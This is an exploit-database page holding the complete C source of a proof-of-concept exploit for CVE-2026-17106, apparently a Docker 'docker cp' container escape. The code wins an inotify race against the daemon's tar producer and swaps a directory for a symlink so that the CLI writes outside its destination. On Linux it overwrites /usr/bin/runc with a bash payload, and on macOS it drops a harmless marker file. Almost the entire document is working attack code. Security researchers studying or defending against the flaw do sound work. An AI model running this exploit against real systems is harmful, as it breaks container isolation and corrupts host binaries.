Exploit databaseDownload repository ZIP
GH-ef4e5102d98da07fbb286eb45ffe6973
686f6c61/poc-copyescape-cve-2026-17106
Sources for CVE-2026-17106
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
686f6c61/poc-copyescape-cve-2026-17106Revision 550c6b263082
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
monitor.c
Suggested starting fileC · 11,947 bytes/*
* monitor.c - Monitor con inotify que gana la carrera contra el productor
* de tar de Docker durante `docker cp`.
*
* Estrategia:
* 1. Crea la estructura:
* /watched/.file.txt.regular (archivo regular decoy)
* /watched/file.txt/ (directorio real)
* /watched/file.txt/aaa.txt (16 MiB de 'B', cebo lento)
* /watched/file.txt/escape/ (directorio real inicial)
* /watched/file.txt/.swap-escape (symlink al target del host)
* 2. Vigila con inotify los accesos dentro de /watched/file.txt.
* 3. Cuando el daemon abre cualquier archivo del directorio para
* anadirlo al tar, sustituye escape/ por el symlink .swap-escape
* (dos rename(2) atomicos).
* 4. El tar resultante contiene el symlink escape seguido de una
* entrada hija escape/<algo>; la CLI vulnerable extrae el hijo
* atravesando el symlink y escribe fuera del destino.
*
* Unificacion: una sola fuente compila para macOS y Linux. El target del
* host y el payload se seleccionan con macros del compilador:
*
* -DCOPYESCAPE_TARGET_MACOS : escribe ~/pwnd (demo inocua)
* -DCOPYESCAPE_TARGET_LINUX : sobrescribe /usr/bin/runc (destructivo)
*
* Variables de entorno en runtime:
* COPYESCAPE_HOST_HOME home del usuario en macOS (obligatorio en macOS)
* COPYESCAPE_QUIET_MS ms de silencio tras pivotar antes de salir
* (default 250)
* COPYESCAPE_TRIGGER nombre del archivo cebo (default "aaa.txt").
* Si se deja vacio, se dispara en cualquier
* IN_OPEN dentro del directorio vigilado.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>
/* ----------------------------- Configuracion por plataforma -------------- */
#if defined(COPYESCAPE_TARGET_LINUX)
static const char *host_target_dir = "/usr/bin";
static const char *host_target_file = "/usr/bin/runc";
static const char *payload_text =
"#!/bin/bash\n"
"echo 'you have been pwned';\n"
"touch /imperva_red_team;\n";
static const mode_t payload_mode = 0755;
static const char *platform_name = "linux";
#elif defined(COPYESCAPE_TARGET_MACOS)
/* Se resuelven en runtime desde COPYESCAPE_HOST_HOME. */
static const char *host_target_dir = NULL;
static char host_target_file_buf[PATH_MAX];
static const char *host_target_file = host_target_file_buf;
static const char *payload_text = "COPYESCAPE_MACOS_DEMO\n";
static const mode_t payload_mode = 0644;
static const char *platform_name = "macos";
#else
#error "Compila con -DCOPYESCAPE_TARGET_MACOS o -DCOPYESCAPE_TARGET_LINUX"
#endif
/* ----------------------------- Layout fijo ------------------------------- */
static const char visible_file[] = "/watched/file.txt";
static const char backing_file[] = "/watched/.file.txt.regular";
static const char trigger_file[] = "/watched/file.txt/aaa.txt";
static const char pivot_dir[] = "/watched/file.txt/escape";
static const char stage_link[] = "/watched/file.txt/.swap-escape";
static const char backup_dir[] = "/watched/file.txt/.old-escape";
static const char *trigger_name = "aaa.txt";
static int exit_quiet_ms = 250;
/* ----------------------------- Utilidades -------------------------------- */
static void die(const char *what)
{
perror(what);
exit(1);
}
static uint64_t monotonic_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) {
die("clock_gettime");
}
return (uint64_t)ts.tv_sec * 1000ULL + (uint64_t)ts.tv_nsec / 1000000ULL;
}
static void mkdir_p(const char *path, mode_t mode)
{
char tmp[PATH_MAX];
char *p;
if (snprintf(tmp, sizeof(tmp), "%s", path) >= (int)sizeof(tmp)) {
fprintf(stderr, "mkdir path too long: %s\n", path);
exit(1);
}
for (p = tmp + 1; *p != '\0'; p++) {
if (*p != '/') continue;
*p = '\0';
if (mkdir(tmp, mode) != 0 && errno != EEXIST) die("mkdir");
*p = '/';
}
if (mkdir(tmp, mode) != 0 && errno != EEXIST) die("mkdir");
}
static void write_text_file(const char *path, const char *text)
{
size_t len = strlen(text);
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
ssize_t w;
if (fd < 0) die(path);
w = write(fd, text, len);
if (w < 0 || (size_t)w != len) { close(fd); die("write"); }
if (close(fd) != 0) die("close");
}
static void write_repeat_file(const char *path, char fill, size_t size)
{
char buf[64 * 1024];
size_t remaining = size;
int fd;
memset(buf, fill, sizeof(buf));
fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) die(path);
while (remaining > 0) {
size_t chunk = remaining < sizeof(buf) ? remaining : sizeof(buf);
ssize_t w = write(fd, buf, chunk);
if (w < 0 || (size_t)w != chunk) { close(fd); die("write"); }
remaining -= chunk;
}
if (close(fd) != 0) die("close");
}
/* ----------------------------- Configuracion runtime --------------------- */
static void configure_runtime(void)
{
const char *quiet = getenv("COPYESCAPE_QUIET_MS");
const char *trig = getenv("COPYESCAPE_TRIGGER");
if (quiet != NULL && *quiet != '\0') {
char *end;
long v = strtol(quiet, &end, 10);
if (*end == '\0' && v > 0 && v < 60000) {
exit_quiet_ms = (int)v;
}
}
if (trig != NULL) {
trigger_name = (*trig == '\0') ? NULL : trig;
}
#if defined(COPYESCAPE_TARGET_MACOS)
{
const char *home = getenv("COPYESCAPE_HOST_HOME");
const char *user;
if (home == NULL || strncmp(home, "/Users/", 7) != 0) {
fprintf(stderr, "COPYESCAPE_HOST_HOME debe ser /Users/<usuario>\n");
exit(1);
}
user = home + 7;
if (*user == '\0' || strchr(user, '/') != NULL ||
strcmp(user, ".") == 0 || strcmp(user, "..") == 0) {
fprintf(stderr, "COPYESCAPE_HOST_HOME con forma invalida\n");
exit(1);
}
host_target_dir = home;
if (snprintf(host_target_file_buf, sizeof(host_target_file_buf),
"%s/pwnd", home) >= (int)sizeof(host_target_file_buf)) {
fprintf(stderr, "path de home demasiado largo\n");
exit(1);
}
}
#endif
printf("[monitor] plataforma=%s target_dir=%s target_file=%s quiet_ms=%d trigger=%s\n",
platform_name, host_target_dir, host_target_file,
exit_quiet_ms, trigger_name ? trigger_name : "<cualquiera>");
fflush(stdout);
}
/* ----------------------------- Setup layout ------------------------------ */
static void setup_layout(void)
{
mkdir_p(pivot_dir, 0755);
/* El directorio objetivo del host (/usr/bin o ~/...) ya existe en el
* host; no podemos crearlo dentro del contenedor. mkdir_p lo ignora
* si ya existe (errno EEXIST), pero en el contenedor no existe y se
* crearia vacio. Para macOS, ~/... no tiene sentido dentro del
* contenedor, asi que solo creamos el dir para Linux /usr/bin (que
* tampoco existe como tal en el unionfs del contenedor). En cualquier
* caso es inofensivo: el monitor no escribe el payload ahi; la
* escritura real la hace la CLI en el host via symlink. */
mkdir_p(host_target_dir, 0755);
write_text_file(backing_file, "top-level file\n");
write_repeat_file(trigger_file, 'B', 16 * 1024 * 1024);
/* El payload se escribe en el destino del symlink DENTRO del
* contenedor (no en el host). Es decir, en host_target_file tal cual
* resuelto en el unionfs del contenedor. Esto NO es codigo muerto:
* despues del pivot, el daemon sigue escape -> host_target_dir y lee
* escape/<basename> = host_target_dir/<basename>, que debe existir
* en el contenedor para que el tar lo incluya. La CLI vulnerable lo
* extraera entonces en el host via el mismo symlink. */
write_text_file(host_target_file, payload_text);
if (chmod(host_target_file, payload_mode) != 0) die("chmod payload");
if (symlink(host_target_dir, stage_link) != 0) die("symlink stage");
}
/* ----------------------------- Pivot con rollback ------------------------ */
static bool try_pivot(void)
{
if (rename(pivot_dir, backup_dir) != 0) {
perror("rename escape -> backup");
return false;
}
if (rename(stage_link, pivot_dir) != 0) {
perror("rename staged symlink -> escape");
/* Rollback: devolver el directorio original a su sitio. */
if (rename(backup_dir, pivot_dir) != 0) {
perror("rollback backup -> escape (FATAL)");
}
return false;
}
printf("[monitor] pivoted %s -> %s\n", pivot_dir, host_target_dir);
fflush(stdout);
return true;
}
/* ----------------------------- Bucle inotify ----------------------------- */
static void run_monitor(void)
{
char buf[4096];
bool raced = false;
uint64_t exit_deadline_ms = 0;
int fd = inotify_init1(IN_CLOEXEC);
struct pollfd pfd = { .fd = fd, .events = POLLIN };
if (fd < 0) die("inotify_init1");
if (inotify_add_watch(fd, visible_file,
IN_OPEN | IN_ACCESS | IN_ONLYDIR) < 0) {
die("inotify_add_watch visible_file");
}
if (inotify_add_watch(fd, host_target_dir,
IN_OPEN | IN_ACCESS | IN_CLOSE_NOWRITE |
IN_CLOSE_WRITE) < 0) {
/* En el contenedor host_target_dir puede no existir o ser
* inobservable. No es fatal: basta con vigilar visible_file. */
perror("inotify_add_watch host_target_dir (no fatal)");
}
for (;;) {
int timeout = -1;
ssize_t len;
char *ptr;
if (raced) {
uint64_t now = monotonic_ms();
if (now >= exit_deadline_ms) {
printf("[monitor] actividad en silencio, saliendo\n");
fflush(stdout);
return;
}
timeout = (int)(exit_deadline_ms - now);
}
if (poll(&pfd, 1, timeout) < 0) {
if (errno == EINTR) continue;
die("poll");
}
if ((pfd.revents & POLLIN) == 0) {
if (raced) {
printf("[monitor] actividad en silencio, saliendo\n");
fflush(stdout);
return;
}
continue;
}
len = read(fd, buf, sizeof(buf));
if (len < 0) {
if (errno == EINTR) continue;
die("read");
}
ptr = buf;
while (ptr < buf + len) {
struct inotify_event *event = (struct inotify_event *)ptr;
bool match;
if (trigger_name == NULL) {
/* Disparar en cualquier IN_OPEN del directorio vigilado. */
match = (event->mask & (IN_OPEN | IN_ACCESS)) != 0;
} else {
match = (event->mask & (IN_OPEN | IN_ACCESS)) != 0 &&
event->len > 0 &&
strcmp(event->name, trigger_name) == 0;
}
if (!raced && match) {
raced = try_pivot();
if (raced) {
exit_deadline_ms = monotonic_ms() + (uint64_t)exit_quiet_ms;
}
} else if (raced) {
exit_deadline_ms = monotonic_ms() + (uint64_t)exit_quiet_ms;
}
ptr += sizeof(*event) + event->len;
}
}
}
/* ----------------------------- main -------------------------------------- */
int main(void)
{
configure_runtime();
setup_layout();
run_monitor();
return 0;
}